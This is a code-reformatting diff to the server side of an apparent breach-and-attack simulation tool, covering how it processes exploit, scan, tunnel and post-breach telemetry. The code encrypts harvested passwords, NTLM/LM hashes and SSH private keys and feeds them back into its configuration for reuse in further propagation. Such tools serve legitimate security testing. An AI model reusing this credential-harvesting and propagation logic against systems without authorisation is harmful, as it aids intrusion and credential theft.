len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge.dst_node_id, found_creds) def update_network_with_exploit(edge: EdgeService, telemetry_json): - telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) - telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) - new_exploit = copy.deepcopy(telemetry_json['data']) - new_exploit.pop('machine') - new_exploit['timestamp'] = telemetry_json['timestamp'] + telemetry_json["data"]["info"]["started"] = dateutil.parser.parse( + telemetry_json["data"]["info"]["started"] + ) + telemetry_json["data"]["info"]["finished"] = dateutil.parser.parse( + telemetry_json["data"]["info"]["finished"] + ) + new_exploit = copy.deepcopy(telemetry_json["data"]) + new_exploit.pop("machine") + new_exploit["timestamp"] = telemetry_json["timestamp"] edge.update_based_on_exploit(new_exploit) - if new_exploit['result']: + if new_exploit["result"]: NodeService.set_node_exploited(edge.dst_node_id) def encrypt_exploit_creds(telemetry_json): - attempts = telemetry_json['data']['attempts'] + attempts = telemetry_json["data"]["attempts"] for i in range(len(attempts)): - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ["password", "lm_hash", "ntlm_hash"]: credential = attempts[i][field] if len(credential) > 0: attempts[i][field] = get_encryptor().enc(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index b06b638c81f..be7b6e7ea05 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -3,15 +3,17 @@ from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import check_new_user_communication +from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import ( + check_new_user_communication, +) EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" def process_communicate_as_new_user_telemetry(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - message = telemetry_json['data']['result'][0] - success = telemetry_json['data']['result'][1] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + message = telemetry_json["data"]["result"][0] + success = telemetry_json["data"]["result"][1] check_new_user_communication(current_monkey, success, message) @@ -23,35 +25,35 @@ def process_communicate_as_new_user_telemetry(telemetry_json): def process_post_breach_telemetry(telemetry_json): def convert_telem_data_to_list(data): modified_data = [data] - if type(data['result'][0]) is list: # multiple results in one pba + if type(data["result"][0]) is list: # multiple results in one pba modified_data = separate_results_to_single_pba_telems(data) return modified_data def separate_results_to_single_pba_telems(data): modified_data = [] - for result in data['result']: + for result in data["result"]: temp = copy.deepcopy(data) - temp['result'] = result + temp["result"] = result modified_data.append(temp) return modified_data def add_message_for_blank_outputs(data): - if not data['result'][0]: - data['result'][0] = EXECUTION_WITHOUT_OUTPUT + if not data["result"][0]: + data["result"][0] = EXECUTION_WITHOUT_OUTPUT return data post_breach_action_name = telemetry_json["data"]["name"] if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) - telemetry_json['data'] = convert_telem_data_to_list(telemetry_json['data']) + telemetry_json["data"] = convert_telem_data_to_list(telemetry_json["data"]) - for pba_data in telemetry_json['data']: + for pba_data in telemetry_json["data"]: pba_data = add_message_for_blank_outputs(pba_data) update_data(telemetry_json, pba_data) def update_data(telemetry_json, data): mongo.db.monkey.update( - {'guid': telemetry_json['monkey_guid']}, - {'$push': {'pba_results': data}}) + {"guid": telemetry_json["monkey_guid"]}, {"$push": {"pba_results": data}} + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 151fd672f02..667928d3ce1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -11,27 +11,28 @@ logger = logging.getLogger(__name__) -TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ - { - TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, - TelemCategoryEnum.STATE: process_state_telemetry, - TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, - TelemCategoryEnum.SCAN: process_scan_telemetry, - TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, - TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, - TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, - # `lambda *args, **kwargs: None` is a no-op. - TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, - TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, - } +TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, + TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, + # `lambda *args, **kwargs: None` is a no-op. + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, +} def process_telemetry(telemetry_json): try: - telem_category = telemetry_json.get('telem_category') + telem_category = telemetry_json.get("telem_category") if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) else: - logger.info('Got unknown type of telemetry: %s' % telem_category) + logger.info("Got unknown type of telemetry: %s" % telem_category) except Exception as ex: - logger.error("Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True) + logger.error( + "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index d0b204d16e6..764cd304499 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,17 +1,23 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import check_open_data_endpoints -from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import check_segmentation_violation +from monkey_island.cc.services.telemetry.processing.utils import ( + get_edge_by_scan_or_exploit_telemetry, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import ( + check_open_data_endpoints, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( + check_segmentation_violation, +) def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) check_open_data_endpoints(telemetry_json) - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - target_ip = telemetry_json['data']['machine']['ip_addr'] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + target_ip = telemetry_json["data"]["machine"]["ip_addr"] check_segmentation_violation(current_monkey, target_ip) @@ -21,14 +27,14 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): node = mongo.db.node.find_one({"_id": edge.dst_node_id}) if node is not None: - scan_os = telemetry_json['data']['machine']["os"] + scan_os = telemetry_json["data"]["machine"]["os"] if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) + mongo.db.node.update( + {"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}}, upsert=False + ) if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) + mongo.db.node.update( + {"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}}, upsert=False + ) label = NodeService.get_label_for_endpoint(node["_id"]) edge.update_label(node["_id"], label) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 9160861ea9c..5f2677bcbb5 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -2,18 +2,24 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import ( + SCOUTSUITE_FINDINGS, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( + ScoutSuiteRuleService, +) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( + ScoutSuiteZTFindingService, +) def process_scoutsuite_telemetry(telemetry_json): # Encode data to json, because mongo can't save it as document (invalid document keys) - telemetry_json['data'] = json.dumps(telemetry_json['data']) - ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data']) - scoutsuite_data = json.loads(telemetry_json['data'])['data'] + telemetry_json["data"] = json.dumps(telemetry_json["data"]) + ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json["data"]) + scoutsuite_data = json.loads(telemetry_json["data"])["data"] create_scoutsuite_findings(scoutsuite_data[SERVICES]) update_data(telemetry_json) @@ -28,5 +34,5 @@ def create_scoutsuite_findings(cloud_services: dict): def update_data(telemetry_json): mongo.db.scoutsuite.insert_one( - {'guid': telemetry_json['monkey_guid']}, - {'results': telemetry_json['data']}) + {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]} + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 4f596fb8822..8749cc730c1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -2,23 +2,26 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \ - check_passed_findings_for_unreached_segments +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( + check_passed_findings_for_unreached_segments, +) logger = logging.getLogger(__name__) def process_state_telemetry(telemetry_json): - monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) - if telemetry_json['data']['done']: + monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]) + NodeService.add_communication_info(monkey, telemetry_json["command_control_channel"]) + if telemetry_json["data"]["done"]: NodeService.set_monkey_dead(monkey, True) else: NodeService.set_monkey_dead(monkey, False) - if telemetry_json['data']['done']: - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + if telemetry_json["data"]["done"]: + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) check_passed_findings_for_unreached_segments(current_monkey) - if telemetry_json['data']['version']: - logger.info(f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}") + if telemetry_json["data"]["version"]: + logger.info( + f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}" + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 25008069797..3313b763d0b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -3,8 +3,9 @@ from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ - SystemInfoTelemetryDispatcher +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( + SystemInfoTelemetryDispatcher, +) from monkey_island.cc.services.wmi_handler import WMIHandler logger = logging.getLogger(__name__) @@ -16,7 +17,7 @@ def process_system_info_telemetry(telemetry_json): process_ssh_info, process_credential_info, process_wmi_info, - dispatcher.dispatch_collector_results_to_relevant_processors + dispatcher.dispatch_collector_results_to_relevant_processors, ] # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of @@ -31,70 +32,74 @@ def safe_process_telemetry(processing_function, telemetry_json): processing_function(telemetry_json) except Exception as err: logger.error( - "Error {} while in {} stage of processing telemetry.".format(str(err), processing_function.__name__), - exc_info=True) + "Error {} while in {} stage of processing telemetry.".format( + str(err), processing_function.__name__ + ), + exc_info=True, + ) def process_ssh_info(telemetry_json): - if 'ssh_info' in telemetry_json['data']: - ssh_info = telemetry_json['data']['ssh_info'] + if "ssh_info" in telemetry_json["data"]: + ssh_info = telemetry_json["data"]["ssh_info"] encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json['data']['network_info']['networks']: + if telemetry_json["data"]["network_info"]["networks"]: # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry - add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) + add_ip_to_ssh_keys(telemetry_json["data"]["network_info"]["networks"][0], ssh_info) add_system_info_ssh_keys_to_config(ssh_info) def add_system_info_ssh_keys_to_config(ssh_info): for user in ssh_info: - ConfigService.creds_add_username(user['name']) + ConfigService.creds_add_username(user["name"]) # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) + if user["public_key"] and user["private_key"]: + ConfigService.ssh_add_keys( + user["public_key"], user["private_key"], user["name"], user["ip"] + ) def add_ip_to_ssh_keys(ip, ssh_info): for key in ssh_info: - key['ip'] = ip['addr'] + key["ip"] = ip["addr"] def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: + for field in ["public_key", "private_key", "known_hosts"]: if ssh_info[idx][field]: ssh_info[idx][field] = get_encryptor().enc(ssh_info[idx][field]) def process_credential_info(telemetry_json): - if 'credentials' in telemetry_json['data']: - creds = telemetry_json['data']['credentials'] + if "credentials" in telemetry_json["data"]: + creds = telemetry_json["data"]["credentials"] add_system_info_creds_to_config(creds) replace_user_dot_with_comma(creds) def replace_user_dot_with_comma(creds): for user in creds: - if -1 != user.find('.'): - new_user = user.replace('.', ',') + if -1 != user.find("."): + new_user = user.replace(".", ",") creds[new_user] = creds.pop(user) def add_system_info_creds_to_config(creds): for user in creds: - ConfigService.creds_add_username(creds[user]['username']) - if 'password' in creds[user] and creds[user]['password']: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user] and creds[user]['lm_hash']: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + ConfigService.creds_add_username(creds[user]["username"]) + if "password" in creds[user] and creds[user]["password"]: + ConfigService.creds_add_password(creds[user]["password"]) + if "lm_hash" in creds[user] and creds[user]["lm_hash"]: + ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) + if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: + ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) def process_wmi_info(telemetry_json): users_secrets = {} - if 'wmi' in telemetry_json['data']: - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') - wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + if "wmi" in telemetry_json["data"]: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]).get("_id") + wmi_handler = WMIHandler(monkey_id, telemetry_json["data"]["wmi"], users_secrets) wmi_handler.process_and_handle_wmi_info() diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py index 2b4d8085ead..0fae438d4d2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py @@ -12,4 +12,6 @@ def process_aws_telemetry(collector_results, monkey_guid): instance_id = collector_results["instance_id"] relevant_monkey.aws_instance_id = instance_id relevant_monkey.save() - logger.debug("Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id)) + logger.debug( + "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 6d9ec8492ba..894bdce75f0 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,13 +1,24 @@ import logging import typing -from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - PROCESS_LIST_COLLECTOR) -from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \ - process_environment_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry -from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence +from common.common_consts.system_info_collectors_names import ( + AWS_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + PROCESS_LIST_COLLECTOR, +) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import ( + process_aws_telemetry, +) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import ( + process_environment_telemetry, +) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import ( + process_hostname_telemetry, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( + check_antivirus_existence, +) logger = logging.getLogger(__name__) @@ -15,12 +26,15 @@ AWS_COLLECTOR: [process_aws_telemetry], ENVIRONMENT_COLLECTOR: [process_environment_telemetry], HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [check_antivirus_existence] + PROCESS_LIST_COLLECTOR: [check_antivirus_existence], } class SystemInfoTelemetryDispatcher(object): - def __init__(self, collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None): + def __init__( + self, + collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, + ): """ :param collector_to_parsing_functions: Map between collector names and a list of functions that process the output of that collector. @@ -40,19 +54,16 @@ def dispatch_collector_results_to_relevant_processors(self, telemetry_json): self.dispatch_single_result_to_relevant_processor(telemetry_json) def dispatch_single_result_to_relevant_processor(self, telemetry_json): - relevant_monkey_guid = telemetry_json['monkey_guid'] + relevant_monkey_guid = telemetry_json["monkey_guid"] for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, - collector_results, - relevant_monkey_guid) + collector_name, collector_results, relevant_monkey_guid + ) def dispatch_result_of_single_collector_to_processing_functions( - self, - collector_name, - collector_results, - relevant_monkey_guid): + self, collector_name, collector_results, relevant_monkey_guid + ): if collector_name in self.collector_to_processing_functions: for processing_function in self.collector_to_processing_functions[collector_name]: # noinspection PyBroadException @@ -60,7 +71,10 @@ def dispatch_result_of_single_collector_to_processing_functions( processing_function(collector_results, relevant_monkey_guid) except Exception as e: logger.error( - "Error {} while processing {} system info telemetry".format(str(e), collector_name), - exc_info=True) + "Error {} while processing {} system info telemetry".format( + str(e), collector_name + ), + exc_info=True, + ) else: logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index 6369ea9e1d2..f1e53d5f463 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -1,8 +1,9 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ - SystemInfoTelemetryDispatcher +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( + SystemInfoTelemetryDispatcher, +) class TestEnvironmentTelemetryProcessing: @@ -20,7 +21,7 @@ def test_process_environment_telemetry(self): "EnvironmentCollector": {"environment": on_premise}, } }, - "monkey_guid": monkey_guid + "monkey_guid": monkey_guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index eed93058a29..0335c6e656e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -4,7 +4,9 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( - SystemInfoTelemetryDispatcher, process_aws_telemetry) + SystemInfoTelemetryDispatcher, + process_aws_telemetry, +) TEST_SYS_INFO_TO_PROCESSING = { "AwsCollector": [process_aws_telemetry], @@ -31,7 +33,10 @@ def test_dispatch_to_relevant_collector_bad_inputs(self): # Telem JSON with no collectors - nothing gets dispatched good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} - good_telem_empty_collectors = {"monkey_guid": "bla", "data": {"bla": "bla", "collectors": {}}} + good_telem_empty_collectors = { + "monkey_guid": "bla", + "data": {"bla": "bla", "collectors": {}}, + } dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) @@ -50,7 +55,7 @@ def test_dispatch_to_relevant_collector(self): "AwsCollector": {"instance_id": instance_id}, } }, - "monkey_guid": a_monkey.guid + "monkey_guid": a_monkey.guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py index 0999e285e01..88233911969 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py @@ -4,75 +4,67 @@ from .post_breach import EXECUTION_WITHOUT_OUTPUT -original_telem_multiple_results =\ - { - 'data': { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': [ - ['SUCCESSFUL', True], - ['UNSUCCESFUL', False], - ['', True] - ] +original_telem_multiple_results = { + "data": { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]], + }, + "telem_category": "post_breach", +} + +expected_telem_multiple_results = { + "data": [ + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["SUCCESSFUL", True], + }, + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["UNSUCCESFUL", False], }, - 'telem_category': 'post_breach' - } + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [EXECUTION_WITHOUT_OUTPUT, True], + }, + ], + "telem_category": "post_breach", +} -expected_telem_multiple_results =\ - { - 'data': [ - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': ['SUCCESSFUL', True] - }, - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': ['UNSUCCESFUL', False] - }, - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': [EXECUTION_WITHOUT_OUTPUT, True] - } - ], - 'telem_category': 'post_breach' - } +original_telem_single_result = { + "data": { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["", True], + }, + "telem_category": "post_breach", +} -original_telem_single_result =\ - { - 'data': { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': ['', True] +expected_telem_single_result = { + "data": [ + { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [EXECUTION_WITHOUT_OUTPUT, True], }, - 'telem_category': 'post_breach' - } - -expected_telem_single_result =\ - { - 'data': [ - { - 'command': 'COMMAND', - 'hostname': 'HOST', - 'ip': '127.0.1.1', - 'name': 'PBA NAME', - 'result': [EXECUTION_WITHOUT_OUTPUT, True] - }, - ], - 'telem_category': 'post_breach' - } + ], + "telem_category": "post_breach", +} def test_process_post_breach_telemetry(): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py index 1e20e54434f..4464eb82aaf 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -1,12 +1,14 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import check_tunneling_violation +from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import ( + check_tunneling_violation, +) def process_tunnel_telemetry(telemetry_json): check_tunneling_violation(telemetry_json) - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - if telemetry_json['data']['proxy'] is not None: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"] + if telemetry_json["data"]["proxy"] is not None: tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) else: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py index df898945edd..ffa6960f68b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -3,9 +3,9 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json): - dst_ip = telemetry_json['data']['machine']['ip_addr'] - dst_domain_name = telemetry_json['data']['machine']['domain_name'] - src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_ip = telemetry_json["data"]["machine"]["ip_addr"] + dst_domain_name = telemetry_json["data"]["machine"]["domain_name"] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]) dst_node = NodeService.get_monkey_by_ip(dst_ip) if dst_node is None: dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) @@ -17,5 +17,5 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json): def get_tunnel_host_ip_from_proxy_field(telemetry_json): - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + tunnel_host_ip = telemetry_json["data"]["proxy"].split(":")[-2].replace("//", "") return tunnel_host_ip diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index a6b90cc459b..d2f154a9e42 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -3,8 +3,12 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ( + ANTI_VIRUS_KNOWN_PROCESS_NAMES, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) def check_antivirus_existence(process_list_json, monkey_guid): @@ -13,33 +17,39 @@ def check_antivirus_existence(process_list_json, monkey_guid): process_list_event = Event.create_event( title="Process list", message="Monkey on {} scanned the process list".format(current_monkey.hostname), - 